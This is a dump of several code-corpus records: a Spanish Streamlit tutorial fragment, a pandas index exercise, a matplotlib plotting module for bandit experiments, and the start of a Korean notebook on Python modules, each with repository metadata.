st.write(bytes_data)\nuploaded_files = st.file_uploader(\"Elige tus archivos:\", accept_multiple_files=True)\nfor uploaded_file in uploaded_files:\n    bytes_data = uploaded_file.read()\n    st.write(\"filename:\", uploaded_file.name)\n    st.write(bytes_data)\"\"\")\n\t\n\n######################ELEMENTOS DE PROCESO, INFORMACION Y CONTROL DE FLUJO########################################\n\tst.header(\"Procesamiento, Informaci\u00f3n y Control de Flujo\")\n\twith st.beta_expander(\"Elementos de Procesamiento:\"):\n\t\tst.write(\"Podemos crear elementos que se vayan actualizando con el tiempo:\")\n\t\tif st.button(\"Aprietame para iniciar el conteo\"):\n\t\t\twith st.empty():\n\t\t\t\tfor seconds in range(3):\n\t\t\t\t\tst.write(f\"\u23f3 {seconds} segundos han pasado\")\n\t\t\t\t\ttim.sleep(1)\n\t\t\t\tst.write(\"\u2714\ufe0f conteo de segundos terminado.\")\n\t\tst.write(\"Podemos crear una barra de progreso:\",key=\"msje2\")\n\t\tif st.button(\"Aprietame para iniciar la barra de carga\"):\n\t\t\tmy_bar = st.progress(0)\n\t\t\tfor percent_complete in range(100):\n\t\t\t    tim.sleep(0.03)\n\t\t\t    my_bar.progress(percent_complete + 1)\n\n\t\tst.write(\"Podemos tambi\u00e9n poner elementos de espera:\")\n\t\tif st.button(\"Esperar\"):\n\t\t\twith st.spinner('Esperando 3 segundos...'):\n\t\t\t    tim.sleep(3)\n\t\t\tst.success('Listo!')\n\t\t\n\n\twith st.beta_expander(\"Elementos de informaci\u00f3n:\"):\n\t\tst.write(\"Adem\u00e1s podemos crear distintos cuadros para comunicarnos con los usuarios:\")\n\t\tst.info(\"Esto es un cuadro de informaci\u00f3n.\")\n\t\tst.warning('Esto es un cuadro de advertencia.')\n\t\tst.success('Esto es un cuadro de \u00e9xito.')\n\t\tst.error(\"Esto es un cuadro de error.\")\n\t\te = RuntimeError('Tambi\u00e9n podemos levantar Excepciones. Por ejemplo estos es un RuntimeError')\n\t\tst.exception(e)\n\n\twith st.beta_expander(\"Elementos de c\u00f3digo:\"):\n\t\tst.write(\"Podemos adem\u00e1s mostrar c\u00f3digo directamente:\")\n\t\tst.code(\"\"\"st.write('Este c\u00f3digo ser\u00e1 impreso en pantalla.')\"\"\")\n\n\t#######################################################################PLACEHOLDERS, HELPS & OPTIONS\n\n\n\t# placeholder = st.empty()\n\t# # Replace the placeholder with some text:\n\t# placeholder.text(\"Hello\")\n\t# # Replace the text with a chart:\n\t# placeholder.line_chart({\"data\": [1, 5, 2, 6]})\n\t# # Replace the chart with several elements:\n\t# with placeholder.beta_container():\n\t#     st.write(\"This is one element\")\n\t#     st.write(\"This is another\")\n\t# # Clear all those elements:\n\t# placeholder.empty()\n\n\t# st.help(pd.DataFrame)\n\n\t#######################################################################MUTATE DATA\n\t# df1 = pd.DataFrame(\n\t#    np.random.randn(50, 20),\n\t#    columns=('col %d' % i for i in range(20)))\n\t# # my_table = st.table(df1)\n\t# df2 = pd.DataFrame(\n\t#    np.random.randn(50, 20),\n\t#    columns=('col %d' % i for i in range(20)))\n\t# # my_table.add_rows(df2)\n\t# # Now the table shown in the Streamlit app contains the data for\n\t# # df1 followed by the data for df2.\n\n\t# my_chart = st.line_chart(df1)\n\t# my_chart.add_rows(df2)", "meta": {"hexsha": "5ca1311f95cb7ad5d4b0ebbdb7effc45835ca3f9", "size": 14857, "ext": "py", "lang": "Python", "max_stars_repo_path": "basics.py", "max_stars_repo_name": "matiaslhlab/pydaychile2020_streamlit", "max_stars_repo_head_hexsha": "223fac440ad5fa8897574b75ef19ca898cee6520", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-01-15T20:24:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-08T17:06:14.000Z", "max_issues_repo_path": "basics.py", "max_issues_repo_name": "matiaslhlab/pydaychile2020_streamlit", "max_issues_repo_head_hexsha": "223fac440ad5fa8897574b75ef19ca898cee6520", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "basics.py", "max_forks_repo_name": "matiaslhlab/pydaychile2020_streamlit", "max_forks_repo_head_hexsha": "223fac440ad5fa8897574b75ef19ca898cee6520", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-12-09T22:50:47.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-09T22:50:47.000Z", "avg_line_length": 43.6970588235, "max_line_length": 173, "alphanum_fraction": 0.6628525274, "include": true, "reason": "import numpy", "num_tokens": 4247, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.12421301483609336, "lm_q1q2_score": 0.050128255590387596}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 17 16:17:25 2017\n\n@author: jorgemauricio\n\"\"\"\n\n# librerias\nimport numpy as np\nfrom pandas import Series,DataFrame\nimport pandas as pd\n\n# indices como objetos\nmy_ser = Series([1,2,3,4],index=['A','B','C','D'])\n\n# Obtener los indices\nmy_index = my_ser.index\n\n# desplegar\nmy_index\n\n# obtener valores mediante rangosCan grab index ranges\nmy_index[2:]\n\n# si tratamos de cambiar un index, que pasa?\nmy_index[0] = 'Z'\n\n# Marca Error. Los indices no son mutables", "meta": {"hexsha": "67c90cdf4fed0073c7545e4c9402f17cc9c0eba5", "size": 523, "ext": "py", "lang": "Python", "max_stars_repo_path": "ejercicios/ej_10_indexObjects.py", "max_stars_repo_name": "jorgemauricio/python", "max_stars_repo_head_hexsha": "4f45cc64c8b8ff9edbe8b7e8741b2b523f031662", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ejercicios/ej_10_indexObjects.py", "max_issues_repo_name": "jorgemauricio/python", "max_issues_repo_head_hexsha": "4f45cc64c8b8ff9edbe8b7e8741b2b523f031662", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ejercicios/ej_10_indexObjects.py", "max_forks_repo_name": "jorgemauricio/python", "max_forks_repo_head_hexsha": "4f45cc64c8b8ff9edbe8b7e8741b2b523f031662", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.0344827586, "max_line_length": 54, "alphanum_fraction": 0.707456979, "include": true, "reason": "import numpy", "num_tokens": 160, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.40356683938849797, "lm_q2_score": 0.12421299700498412, "lm_q1q2_score": 0.050128246612274406}}
{"text": "import matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math\r\n\r\n\r\ndef plot_progression(S, T1=None, names=None, linestyles=None, xlabel=\"$t$\", ylabel=\"Value\", title=None, show=True):\r\n\r\n\tif S.ndim > 1:\r\n\t\tif T1 is None:\r\n\t\t\tT1 = range(1,len(S[0])+1)\r\n\t\tif linestyles is None:\r\n\t\t\tfor s in S:\r\n\t\t\t\tplt.plot(T1, s)\r\n\t\telse:\r\n\t\t\tfor s in S:\r\n\t\t\t\tplt.plot(T1, s, linestyle=linestyles[i])\r\n\telse:\r\n\t\tif T1 is None:\r\n\t\t\tT1 = range(1,len(S)+1)\r\n\t\tplt.plot(T1, S)\r\n\r\n\tif names is not None:\r\n\t\tplt.legend(names)\r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\r\n\t\t\r\ndef plot_freq(F, k=None, K1=None, n=None, bar_width=2, interpolation='hanning', cmap='gray_r', xlabel=\"$t$\", ylabel=\"Frequency\", title=None, show=True):\r\n    \r\n\tif k is None:\r\n\t\tk = len(F)      #number of arms (series)\r\n\r\n\tif K1 is None:\r\n\t\tK1 = np.arange(1,k+1)      #range of arms (for labels)\r\n\t\t\r\n\tif n is None:\r\n\t\tn = len(F[0])   #time-horizon (number of samples)\r\n\r\n\tw = bar_width #bar width (>1)\r\n\th = k*w+1     #fig height\r\n\r\n\timg_map = np.zeros([h,n])   #image map\r\n\r\n\tfor i in range(h):\r\n\t\tif (i % w != 0):\r\n\t\t\timg_map[i] = F[i//w]\r\n\r\n\tplt.imshow(img_map, aspect=\"auto\", interpolation=interpolation, cmap=cmap)\r\n\tplt.yticks(np.arange(1, h, step=w), K1)\r\n\r\n\tplt.colorbar()\r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\r\n\t\t\r\ndef plot_history(H=None, H1=None, k=None, K1=None, n=None, T1=None, xlabel='$t$', ylabel='Arm', title='History of pulled arms', alpha=0.5, markersize=None, show=True):\r\n\r\n\t#H is the history of pulls starting from index 0 for arms\r\n\t#H1 the same, just shifted to have the first arm as index 1\r\n\tif H1 is None:\r\n\t\tif H is None:\r\n\t\t\traise ValueError(\"You must define either H or H1.\")\r\n\t\telse:\r\n\t\t\tH1 = H+1\r\n\r\n\t#n is the time-horizon\r\n\t#and T1 is the range, starting from t=1\r\n\tif T1 is None:\r\n\t\tif n is None:\r\n\t\t\tn = len(H1)\r\n\t\tT1 = range(1,n+1)\r\n\t\t\r\n\t#k is the number of arms\r\n\t#and K1 is the range of arm indexes, starting from 1\r\n\tif K1 is None:\r\n\t\tif k is None:\r\n\t\t\tk = max(H1)\r\n\t\tK1 = range(1,k+1)\r\n\telse:\r\n\t\tif k is None:\r\n\t\t\tk = len(K1)\r\n\r\n\tplt.plot(T1, H1, 'o', markersize=markersize, alpha=alpha)\r\n\r\n\tplt.yticks(K1)\r\n\tplt.ylim([0.5, k+0.5])\r\n\tplt.gca().invert_yaxis()    \r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\t\r\n\t\r\ndef plot_comp_algs(y, names, xlabel=\"Algorithm\", ylabel=\"Value\", title=\"Comparison\", show=True):\r\n\r\n\tx = range(len(names))\t\r\n\tlow = min(y)\r\n\thigh = max(y)\r\n\tplt.ylim([low, high])\r\n\tplt.bar(x, y, align='center', alpha=0.5)\r\n\tplt.xticks(x, names, rotation='vertical')\t\t\r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\r\n\r\ndef plot_comp_arms(n_a, K1=None, xlabel=\"Arm (Selected Action)\", ylabel=\"Number of Actions Taken\", title=\"Selected Actions\", show=True):\r\n\r\n\tif K1 is None:\r\n\t\tK1 = np.arange(1,len(n_a)+1, dtype='int')      #range of arms (for labels)\r\n\t\t\r\n\tplt.bar(K1, n_a)\r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\r\n\r\n\r\ndef plot_reward_regret(reward, regret, best_strategy, T1=None, names=['Cumulated Reward', 'Cumulated Regret', 'Best Strategy'], xlabel=\"$t$\", ylabel=\"Reward and Regret\", title=\"Best Strategy vs Cumulated Reward vs Regret \", show=True):\r\n\r\n\t#best, reward, regret\r\n\tY = np.array([reward, -regret, best_strategy])\r\n\r\n\tplot_progression(Y, show=False, names=names, title=title, ylabel=ylabel)\r\n\r\n\tplt.fill_between(T1, 0, reward)\r\n\tplt.fill_between(T1, 0, -regret)\r\n\r\n\tif xlabel is not None:\r\n\t\tplt.xlabel(xlabel)\r\n\r\n\tif ylabel is not None:\r\n\t\tplt.ylabel(ylabel)\r\n\r\n\tif title is not None:\r\n\t\tplt.title(title)\r\n\r\n\tif show:\r\n\t\tplt.show()\r\n\r\n\t\t\r\ndef nrows_ncols(N):\r\n    \"\"\"(nrows, ncols) pour cr\u00e9er un subplots de N figures avec les bonnes dimensions.\"\"\"\r\n    nrows = int(np.ceil(np.sqrt(N)))\r\n    ncols = N // nrows\r\n    while N > nrows * ncols:\r\n        ncols += 1\r\n    nrows, ncols = max(nrows, ncols), min(nrows, ncols)\r\n    return nrows, ncols\r\n\t\r\ndef plot_hist_regret(rewards, names, horizon, mustar=1):\r\n    nrows, ncols = nrows_ncols(len(names))\r\n    fig, axes = plt.subplots(nrows, ncols, sharex=False, sharey=False)\r\n    fig.suptitle(\"Histogram of regret at $t = T = {}$\".format(horizon))\r\n\r\n    # XXX See https://stackoverflow.com/a/36542971/\r\n    ax0 = fig.add_subplot(111, frame_on=False)  # add a big axes, hide frame\r\n    ax0.grid(False)  # hide grid\r\n    #ax0.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off')  # hide tick and tick label of the big axes\r\n    ax0.tick_params(labelcolor='none', top=False, bottom=False, left=False, right=False)  # hide tick and tick label of the big axes\r\n    # Add only once the ylabel, xlabel, in the middle\r\n    ax0.set_ylabel(\"Distribution\")\r\n    ax0.set_xlabel(\"Regret\")\r\n\r\n    for i, r in enumerate(rewards):\r\n        x, y = i % nrows, i // nrows\r\n        ax = axes[x, y] if ncols > 1 else axes[x]\r\n        regret = mustar * horizon - r\r\n        #ax.hist(regret, normed=True, bins=25)\r\n        ax.hist(regret, density=True, bins=25)\r\n        ax.set_title(names[i])\r\n    plt.show()", "meta": {"hexsha": "b927592eab731726dd9450b8bc4ae52ff0b488b2", "size": 5564, "ext": "py", "lang": "Python", "max_stars_repo_path": "smab/extra/mabplot_old.py", "max_stars_repo_name": "fsperotto/smab", "max_stars_repo_head_hexsha": "5426c217eb91feb3f20c95318803b595b5bf587c", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-11-13T14:18:35.000Z", "max_stars_repo_stars_event_max_datetime": "2019-11-29T10:38:20.000Z", "max_issues_repo_path": "smab/extra/mabplot_old.py", "max_issues_repo_name": "fsperotto/smab", "max_issues_repo_head_hexsha": "5426c217eb91feb3f20c95318803b595b5bf587c", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "smab/extra/mabplot_old.py", "max_forks_repo_name": "fsperotto/smab", "max_forks_repo_head_hexsha": "5426c217eb91feb3f20c95318803b595b5bf587c", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.4063926941, "max_line_length": 236, "alphanum_fraction": 0.6270668584, "include": true, "reason": "import numpy", "num_tokens": 1609, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.11757213045354989, "lm_q1q2_score": 0.05012353789415867}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# (ch:module)=\n# # \ubaa8\ub4c8\n\n# \ucea1\uc290\ud654<font size=\"2\">encapsulation</font>?\n\n# ## \ubaa8\ub4c8\uc774\ub780?\n\n# \ud55c \ubc88 \uad6c\ud604\ud55c \ud568\uc218, \uc0c1\uc218, \ubcc0\uc218, \ud074\ub798\uc2a4, \uac1d\uccb4 \ub4f1\uc744 \n# \ub2e4\ub978 \ud30c\uc774\uc36c \ud30c\uc77c\uc5d0\uc11c \uacf5\uc720\ud558\uc5ec \uc0ac\uc6a9\ud558\uba74 \ud504\ub85c\uadf8\ub7a8\uc744 \ubcf4\ub2e4 \ud6a8\uc728\uc801\uc73c\ub85c \uad6c\ud604\ud560 \uc218 \uc788\ub2e4.\n# \uc774\ub97c \uc704\ud574 **\ubaa8\ub4c8**\uc744 \ud65c\uc6a9\ud55c\ub2e4.\n# \n# \ud30c\uc774\uc36c\uc5d0\uc11c \ubaa8\ub4c8\uc740 \uac04\ub2e8\ud558\uac8c \ub9d0\ud558\uba74 \ud558\ub098\uc758 \ud30c\uc774\uc36c \uc18c\uc2a4\ucf54\ub4dc \ud30c\uc77c\uc774\ub2e4. \n# \ud30c\uc77c\uc758 \ud655\uc7a5\uc790\uac00 `py`\uc774\ub2e4. \n# \ubaa8\ub4c8\uc740 \uc5b8\uc81c\ub4e0\uc9c0 \ubd88\ub7ec\uc640\uc11c(import) \ubaa8\ub4c8\uc5d0 \ud3ec\ud568\ub41c \ub0b4\uc6a9\uc744 \ud65c\uc6a9\ud560 \uc218 \uc788\ub2e4.\n\n# ## \ubaa8\ub4c8 \uc885\ub958\n\n# \ubaa8\ub4c8\uc740 \ud06c\uac8c \uc138 \uc885\ub958\ub85c \ub098\ub25c\ub2e4.\n# \n# * \ub0b4\uc7a5 \ubaa8\ub4c8(built-in module): \ud30c\uc774\uc36c\uc5d0\uc11c \uae30\ubcf8\uc801\uc73c\ub85c \uc81c\uacf5\ud558\ub294 \ubaa8\ub4c8\n#     * \ud30c\uc774\uc36c\uc744 \uc124\uce58\ud560 \ub54c \uae30\ubcf8\uc73c\ub85c \uc81c\uacf5\ub418\ub294 \ubaa8\ub4c8\n#     * \uc608\uc81c: `math`, `urllib.request`, `random`, `turtle`, `os`, `sys` \ub4f1\ub4f1\n# * \uc81c3\uc790 \ub77c\uc774\ube0c\ub7ec\ub9ac \ubaa8\ub4c8: \uc81c3\uc790\uc5d0 \uc758\ud574 \uc81c\uacf5\ub41c \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ubaa8\ub4c8\n#     * \uc81c3\uc790\uac00 \uc81c\uacf5\ud55c \ub77c\uc774\ube0c\ub7ec\ub9ac\ub97c \uc124\uce58\ud560 \ub54c \uc81c\uacf5\ub418\ub294 \ubaa8\ub4c8\n#     * \uc608\uc81c: `numpy.random`, `matplotlib.pyplot`, `pygame.mixer` \ub4f1\ub4f1\n# * \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub4c8: \uac1c\uc778 \ud504\ub85c\uc81d\ud2b8\ub97c \uc9c4\ud589\ud558\uba74\uc11c \uc791\uc131\ud55c \ubaa8\ub4c8\n#     * \ud504\ub85c\uc81d\ud2b8 \uad00\ub9ac\ub97c \uc704\ud574 \uc0ac\uc6a9\ub418\ub294 \ubaa8\ub4c8\n#     * \uc608\uc81c: \uc544\ub798 \uc608\uc81c\uc5d0\uc11c \uc18c\uac1c\ub418\ub294 `wc.py` \ud30c\uc77c\n\n# ## \ub0b4\uc7a5 \ubaa8\ub4c8\n\n# \ud30c\uc77c\uc36c\uc744 \uc124\uce58\ud558\uba74 \ub2e4\uc591\ud55c \ubaa8\ub4c8\uc774 \ud568\uaed8 \uc124\uce58\ub418\uba70, \uadf8\ub7f0 \ubaa8\ub4c8\uc744 \ub0b4\uc7a5 \ubaa8\ub4c8(built-in modules)\uc774\ub77c \ubd80\ub978\ub2e4.\n# \uc9c0\uae08\uae4c\uc9c0 \uc0ac\uc6a9\ud55c \ubaa8\ub4c8\uc740 `random`, `math`, `os`, `sys` \ub4f1\uc774\uba70, `import \ubaa8\ub4c8\uba85` \ud615\uc2dd\uc73c\ub85c \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc654\ub2e4.\n# \ub2e8, `.py` \ud655\uc7a5\uc790\ub294 \uc0dd\ub7b5\ud55c\ub2e4.\n# \n# \uc608\ub97c \ub4e4\uc5b4, `math` \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc624\ub824\uba74 \ub2e4\uc74c\uacfc \uac19\uc774 \ud55c\ub2e4.\n\n# In[1]:\n\n\nimport math\n\n\n# \uadf8\ub7ec\uba74 `math` \ubaa8\ub4c8\uc5d0\uc11c \uc815\uc758\ub41c \ub9ce\uc740 \uc218\ud559 \uad00\ub828 \ud568\uc218\ub4e4\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, \ub85c\uadf8(`log`) \ud568\uc218\uc758 \uc0ac\uc6a9\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.\n\n# In[2]:\n\n\nmath.log(2)\n\n\n# \ubb34\uc791\uc704 \uc218 \uc0dd\uc131 \ud568\uc218\ub4e4\uc744 \ubaa8\uc544\ub193\uc740 `random` \ubaa8\ub4c8\uc5d0 0\uacfc 1\uc0ac\uc774\uc758 \uc2e4\uc218\ub97c \ubb34\uc791\uc73c\ub85c \n# \uc0dd\uc131\ud558\ub294 \ud568\uc218 `random`\uc744 \uc544\ub798\uc640 \uac19\uc774 \uc0ac\uc6a9\ud55c\ub2e4.\n\n# In[3]:\n\n\nimport random\n\nrandom.random()\n\n\n# `random` \ud568\uc218\ub294 \uc2e4\ud589\ud560 \ub54c\ub9c8\ub2e4 \uc0c8\ub85c\uc6b4 \uc218\ub97c \ubb34\uc791\uc704\ub85c \uc0dd\uc131\ud55c\ub2e4.\n\n# In[4]:\n\n\nrandom.random()\n\n\n# ## \uc81c3\uc790 \ub77c\uc774\ube0c\ub7ec\ub9ac \ubaa8\ub4c8\n\n# \uc81c3\uc790\uc5d0 \uc758\ud574  \uc81c\uacf5\ub41c \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ubaa8\ub4c8\uc744 \uc0ac\uc6a9\ud558\ub824\uba74 \uba3c\uc800 \ucd94\uac00 \ud328\ud0a4\uc9c0\ub97c \uc124\uce58\ud574\uc57c \ud55c\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, \ub2e8\uc21c\ud55c 2\ucc28\uc6d0 \uadf8\ub798\ud504\ub97c \uadf8\ub9ac\ub294 \ub3c4\uad6c\uac00 \ud544\uc694\ud558\uba74 \ub9f7\ud50c\ub86f\ub9bd(`matplotlib`)\uc744,\n# \ub370\uc774\ud130\ubd84\uc11d\uc744 \uc704\ud55c \ub2e4\uc591\ud55c \ub3c4\uad6c\uac00 \ud544\uc694\ud558\uba74 \ub118\ud30c\uc774(`numpy`)\ub97c \uae30\ubcf8\uc801\uc73c\ub85c \uc124\uce58\ud574\uc57c \ud55c\ub2e4.\n# \uc81c3\uc790 \uc81c\uacf5 \ud30c\uc774\uc36c \ud328\ud0a4\uc9c0\ub97c \uc124\uce58\ud558\ub294 \ubc29\ubc95\uc740 \ud574\ub2f9 \ud328\ud0a4\uc9c0\uc758 \ud648\ud398\uc774\uc9c0\ub97c \ucc38\uace0\ud574\uc57c \ud55c\ub2e4.\n# \ubcf4\ud1b5\uc740 \ud30c\uc774\uc36c\uc744 \uc124\uce58\ud560 \ub54c \ud568\uaed8 \uc81c\uacf5\ub418\ub294 \ud30c\uc774\uc36c \ud328\ud0a4\uc9c0 \ub9e4\ub2c8\uc800\uc778 pip \uba85\ub839\uc5b4\ub97c \ud65c\uc6a9\ud55c\ub2e4.\n# \n# \ud30c\uc774\uc36c\uacfc \uad00\ub828\ub41c \uc8fc\uc694 \ud328\ud0a4\uc9c0\ub97c \ud568\uaed8 \uc81c\uacf5\ud558\ub294 \uc571\uc774\ub098 \uc6f9\uc11c\ubc84 \ub4f1\uc774 \uc788\uc5b4\uc11c \n# \uac1c\uc778\uc801\uc73c\ub85c \ucd94\uac00\ud558\uace0 \uad00\ub9ac\ud558\uae30 \uc5b4\ub824\uc6b4 \uacbd\uc6b0 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, \uc544\ub098\ucf58\ub2e4 \ud328\ud0a4\uc9c0\ub294 `matplotlib`, `numpy` \ub4f1 \ud30c\uc774\uc36c \n# \ub370\uc774\ud130\ubd84\uc11d\uacfc \uad00\ub828\ub41c \ub2e4\uc218\uc758 \ud328\ud0a4\uc9c0\ub97c \ud568\uaed8 \uc81c\uacf5\ud55c\ub2e4.\n# \ub610\ud55c Repl.it, \uad6c\uae00 \ucf54\ub7a9 \ub4f1\ub3c4 \ud30c\uc774\uc36c \uae30\ubcf8 \uc774\uc678\uc5d0 \ub2e4\uc591\ud55c \ud328\ud0a4\uc9c0\ub97c \ud568\uaed8 \uc81c\uacf5\ud55c\ub2e4. \n# \n# \ud604\uc7ac \uc774 \ub178\ud2b8\ubd81\uc744 \uc2e4\ud589\ud558\ub294 \uc11c\ubc84 \ub610\ud55c `matplotlib`, `numpy` \ub4f1\uc744 \ud3ec\ud568\ud574\uc11c \n# \ub2e4\uc591\ud55c \uc81c3\uc790 \uc81c\uacf5 \ub77c\uc774\ube0c\ub7ec\ub9ac\uac00 \ud568\uaed8 \uc124\uce58\ub418\uc5b4 \uc788\ub2e4. \n# Repl.it \ubc0f \uad6c\uae00 \ucf54\ub7a9\uc5d0\uc11c \ubb38\uc81c\uc5c6\uc774 \uc791\ub3d9\ud558\ub294 \ucf54\ub4dc\ub9cc \uc5ec\uae30\uc5d0\uc11c \uc0ac\uc6a9\ud55c\ub2e4. \n\n# ### \uc81c3\uc790 \ub77c\uc774\ube0c\ub7ec\ub9ac \ubaa8\ub4c8 \ubd88\ub7ec\uc624\uae30\n\n# \uc608\ub97c \ub4e4\uc5b4, \uace0\ucc28\uc6d0 \uc5b4\ub808\uc774\ub97c \ud3b8\ud558\uac8c \ub2e4\ub8f0 \uc218 \uc788\ub3c4\ub85d \ub3c4\uc640\uc8fc\ub294 \ub9ce\uc740 \ub3c4\uad6c\ub97c \ub2f4\uace0 \uc788\ub294 \ub118\ud30c\uc774 \ud328\ud0a4\uc9c0\ub97c \ud65c\uc6a9\ud558\ub824\uba74\n# \uc544\ub798\uc640 \uac19\uc774 `numpy` \ud328\ud0a4\uc9c0\ub97c \ubd88\ub7ec\uc640\uc57c \ud55c\ub2e4. \uadf8\ub7ec\uba74 \uad00\ub828\ub41c \ub9ce\uc740 \ubaa8\ub4c8\uacfc \ub3c4\uad6c\ub4e4\uc744 \ud65c\uc6a9\ud560 \uc218 \uc788\ub2e4.\n\n# #### \ubcc4\uce6d \uc0ac\uc6a9\ud558\uae30\n\n# \ubaa8\ub4c8\uc774\ub098 \ud328\ud0a4\uc9c0\ub97c \ubd88\ub7ec\uc62c \ub54c \ubcc4\uce6d\uc744 \uc9c0\uc815\ud558\uc5ec \ud65c\uc6a9\ud560 \uc218 \uc788\ub2e4.\n# \ub9ce\uc774 \uc0ac\uc6a9\ub418\ub294 \ubaa8\ub4c8\uc774\ub098 \ud328\ud0a4\uc9c0\ub294 \ub9ce\uc740 \uc0ac\ub78c\ub4e4\uc774 \uad00\uc2b5\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\ub294 \ubcc4\uce6d\uc774 \uc788\ub2e4.\n# `numpy` \ud328\ud0a4\uc9c0\uc758 \uacbd\uc6b0 \ubcf4\ud1b5 `np`\ub85c \uc904\uc5ec \ubd80\ub978\ub2e4.\n# \ubcc4\uce6d\uc744 \uc0ac\uc6a9\ud558\ub294 \ubc29\uc2dd\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.\n\n# In[5]:\n\n\nimport numpy as np\n\n\n# \ub118\ud30c\uc774 \ud328\ud0a4\uc9c0\uc5d0 `random` \ubaa8\ub4c8\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\ub2e4. \n# \ud30c\uc774\uc36c\uc5d0\uc11c \uae30\ubcf8\uc73c\ub85c \uc81c\uacf5\ud558\ub294 \ub0b4\uc7a5 \ubaa8\ub4c8\uc778 `random` \ubcf4\ub2e4 \ub9ce\uc740 \uae30\ub2a5\uc744 \uac16\ucd98 \ub3c4\uad6c\ub4e4\uc774\n# \ub118\ud30c\uc774 `random` \ubaa8\ub4c8\uc774 \uc81c\uacf5\ud55c\ub2e4.\n# \n# \uc55e\uc11c \uc5b8\uae09\ud588\ub358 \ud30c\uc774\uc36c \ub0b4\uc7a5 \ubaa8\ub4c8 `random`\uc5d0\uc11c \uc815\uc758\ub41c `random` \ud568\uc218\uc5d0 \ud574\ub2f9\ud558\ub294 \ud568\uc218\uac00\n# \ub118\ud30c\uc774 `random` \ubaa8\ub4c8\uc5d0 \ub3d9\uc77c\ud55c \uc774\ub984\uc73c\ub85c \uc815\uc758\ub418\uc5b4 \uc788\ub2e4. \n# \ud558\uc9c0\ub9cc \ub118\ud30c\uc774 `random` \ubaa8\ub4c8\uc744 \uc0ac\uc6a9\ud558\ub824\uba74 \ubc18\ub4dc\uc2dc `np`\ub97c \uc544\ub798\uc640 \uac19\uc774 \ucd94\uac00\ud574\uc57c \ud55c\ub2e4.\n# \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74 \ud30c\uc774\uc36c \ub0b4\uc7a5 \ubaa8\ub4c8\uacfc \uc774\ub984\uc774 \ud63c\ub3d9\ub418\uc5b4 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub2e4.\n\n# In[6]:\n\n\nnp.random.random()\n\n\n# In[7]:\n\n\nnp.random.random()\n\n\n# 